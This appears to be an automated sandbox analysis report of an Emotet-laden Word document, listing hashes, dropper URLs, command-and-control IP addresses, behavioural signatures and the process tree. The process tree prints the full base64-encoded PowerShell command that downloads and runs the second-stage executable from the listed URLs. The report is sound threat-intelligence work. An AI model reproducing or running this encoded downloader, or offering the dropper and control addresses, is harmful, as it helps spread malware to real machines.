Analysis
- max time kernel
135s - max time network
134s - platform
windows10_x64 - resource
win10 - submitted
23/07/2020, 07:34
Static task
static1
Behavioral task
behavioral1
Sample
REP_0200013668039.doc
Resource
win7v200722
General
- Target REP_0200013668039.doc
- Size 172KB
- Sample200723-ln7cmzed4j
- SHA256 0e30c2f521922a11be5e6ce37bf113be377d9fa78587eff52fbdc35d2e0283ad
- MD5 3894df77ff9ccd161cb816e00decbc96
- SHA1 4b988041fde0fbe6e32ced93cebbacb77ee51256
- SHA512 a279e3652772897dabceb8adc1f8cba3ff4fc61ef7ffba9a9dfca4ea8c43e55881134728dd287f339741c91de44f27fe9a4cba1e5e78489f31e638af6bbf03ed
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://www.gengduyw.com/wp-admin/q2J/
-
exe.dropper
http://crimsonrealtypoint.com/blogs/0DR9ph1g1s/
-
exe.dropper
https://grupoitalopoblano.com/wp-includes/65s7pub/
-
exe.dropper
http://banhangsivn.com/b9m0wc/umCqARlQb/
-
exe.dropper
http://arnoldscreekps.vic.edu.au/slam/j905/
Extracted
-
emotet
-
94.49.254.194:80
-
212.51.142.238:8080
-
91.231.166.124:8080
-
162.241.92.219:8080
-
79.98.24.39:8080
-
109.117.53.230:443
-
78.189.165.52:8080
-
113.160.130.116:8443
-
121.124.124.40:7080
-
101.187.97.173:80
-
168.235.67.138:7080
-
104.131.44.150:8080
-
5.39.91.110:7080
-
139.59.60.244:8080
-
81.2.235.111:8080
-
116.203.32.252:8080
-
61.19.246.238:443
-
176.111.60.55:8080
-
190.55.181.54:443
-
108.48.41.69:80
-
203.153.216.189:7080
-
103.86.49.11:8080
-
104.236.246.93:8080
-
75.139.38.211:80
-
169.239.182.217:8080
-
62.75.141.82:80
-
93.156.165.186:80
-
73.11.153.178:8080
-
157.245.99.39:8080
-
41.60.200.34:80
-
50.116.86.205:8080
-
31.31.77.83:443
-
209.182.216.177:443
-
62.138.26.28:8080
-
95.213.236.64:8080
-
95.179.229.244:8080
-
209.141.54.221:8080
-
91.211.88.52:7080
-
173.91.22.41:80
-
222.214.218.37:4143
-
37.187.72.193:8080
-
137.59.187.107:8080
-
139.130.242.43:80
-
46.105.131.87:80
-
87.106.139.101:8080
-
200.55.243.138:8080
-
5.196.74.210:8080
-
79.7.158.208:80
-
185.94.252.104:443
-
104.131.11.150:443
-
37.139.21.175:8080
-
190.108.228.62:443
-
24.1.189.87:8080
-
91.205.215.66:443
-
186.208.123.210:443
-
108.26.231.214:80
-
201.173.217.124:443
-
110.145.77.103:80
-
190.160.53.126:80
-
162.154.38.103:80
-
78.24.219.147:8080
-
210.165.156.91:80
-
109.74.5.95:8080
-
95.9.185.228:443
-
93.51.50.171:8080
-
200.41.121.90:80
-
46.105.131.79:8080
-
124.45.106.173:443
-
74.208.45.104:8080
-
153.126.210.205:7080
-
87.106.136.232:8080
-
190.144.18.198:80
Signatures
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3740 wrote to memory of 1792 3740 205.exe 76 PID 3740 wrote to memory of 1792 3740 205.exe 76 PID 3740 wrote to memory of 1792 3740 205.exe 76 - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3740-14-0x00000000006E0000-0x00000000006EC000-memory.dmp emotet behavioral2/memory/1792-17-0x0000000000550000-0x000000000055C000-memory.dmp emotet - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3648 WINWORD.EXE 3740 205.exe 3740 205.exe 1792 KBDFO.exe 1792 KBDFO.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3104 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3104 powersheLL.exe 3104 powersheLL.exe 3104 powersheLL.exe 1792 KBDFO.exe 1792 KBDFO.exe 1792 KBDFO.exe 1792 KBDFO.exe 1792 KBDFO.exe 1792 KBDFO.exe - Blacklisted process makes network request 4 IoCs
flow pid Process 18 3104 powersheLL.exe 29 3104 powersheLL.exe 31 3104 powersheLL.exe 33 3104 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3740 205.exe 1792 KBDFO.exe - Suspicious behavior: EmotetMutantsSpam 1 IoCs
pid Process 1792 KBDFO.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 powersheLL.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b0601050507030353000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e powersheLL.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030106082b0601050507030706082b0601050507030206082b0601050507030406082b060105050703030f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e powersheLL.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3648 WINWORD.EXE 3648 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3104 3888 powersheLL.exe 67 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\tsmf\KBDFO.exe 205.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_0200013668039.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:3648
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JAB0AGUAbgBsAGEAbwB5AHIAZQBpAHcAbABvAGEAZwA9ACcAdwBpAG8AcgBxAHUAYQBpAHIAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAQwBgAFUAcgBgAGkAdAB5AHAAUgBPAHQATwBDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHEAdQBvAGkAdwBsAG8AeQB2AGEAdQBuAGIAbwB1AG4AIAA9ACAAJwAyADAANQAnADsAJABsAGUAdQBnAGgAaQBlAGYAPQAnAHAAbwBhAGIAZABhAGkAcAB2AGkAYQBsACcAOwAkAHIAaQBhAGwAbQBhAGUAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcQB1AG8AaQB3AGwAbwB5AHYAYQB1AG4AYgBvAHUAbgArACcALgBlAHgAZQAnADsAJAB6AGkAbABxAHUAbwB1AHEAdQA9ACcAZwBlAHUAcQB1AHoAZQBvAGoAJwA7ACQAYwBhAGkAdABoAHQAaABlAGkAYwBoAGoAbwBhAHMAcQB1AG8AYQBkAD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMATABpAGUATgBUADsAJABmAGUAYQB4AHEAdQBvAHcAbgBvAHoAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGcAZQBuAGcAZAB1AHkAdwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQAyAEoALwAqAGgAdAB0AHAAOgAvAC8AYwByAGkAbQBzAG8AbgByAGUAYQBsAHQAeQBwAG8AaQBuAHQALgBjAG8AbQAvAGIAbABvAGcAcwAvADAARABSADkAcABoADEAZwAxAHMALwAqAGgAdAB0AHAAcwA6AC8ALwBnAHIAdQBwAG8AaQB0AGEAbABvAHAAbwBiAGwAYQBuAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADYANQBzADcAcAB1AGIALwAqAGgAdAB0AHAAOgAvAC8AYgBhAG4AaABhAG4AZwBzAGkAdgBuAC4AYwBvAG0ALwBiADkAbQAwAHcAYwAvAHUAbQBDAHEAQQBSAGwAUQBiAC8AKgBoAHQAdABwADoALwAvAGEAcgBuAG8AbABkAHMAYwByAGUAZQBrAHAAcwAuAHYAaQBjAC4AZQBkAHUALgBhAHUALwBzAGwAYQBtAC8AagA5ADAANQAvACcALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAYwBoAG8AZQBkAGMAbwBlAGQAPQAnAGoAdQB1AHcAYgBlAGUAagBoAGEAaQB5AHMAYQB1AGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGcAbwBhAGsAcQB1AGEAZQBqAGwAbwBhAGwAIABpAG4AIAAkAGYAZQBhAHgAcQB1AG8AdwBuAG8AegApAHsAdAByAHkAewAkAGMAYQBpAHQAaAB0AGgAZQBpAGMAaABqAG8AYQBzAHEAdQBvAGEAZAAuACIARABgAE8AVwBOAGAATABvAGAAQQBkAGYAaQBsAEUAIgAoACQAZwBvAGEAawBxAHUAYQBlAGoAbABvAGEAbAAsACAAJAByAGkAYQBsAG0AYQBlAGoAKQA7ACQAYgBpAGUAdABoAG4AZQBxAHUAeABpAHQAaAA9ACcAaABvAGUAbQBxAHUAaQBlAG4AJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJAByAGkAYQBsAG0AYQBlAGoAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADEAMQA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBlAGAAQQBgAFQAZQAiACgAJAByAGkAYQBsAG0AYQBlAGoAKQA7ACQAawB1AHUAawB2AG8AbwB2AD0AJwByAGEAdQBqAG4AbwBlAHMAawBvAG8AegAnADsAYgByAGUAYQBrADsAJABrAGEAYgB6AGEAbwBnAD0AJwByAG8AZQBrAHQAZQB1AGoAcwBvAHUAcQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAaAB1AHUAeAB2AGkAYQB5AHMAbwBvAHAAYgBvAHUAYwA9ACcAcABvAGEAYwBoAGQAbwB1AGoAJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Modifies system certificate store
- Process spawned unexpected child process
PID:3104
-
C:\Users\Admin\205.exeC:\Users\Admin\205.exe1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
PID:3740 -
C:\Windows\SysWOW64\tsmf\KBDFO.exe"C:\Windows\SysWOW64\tsmf\KBDFO.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:1792
-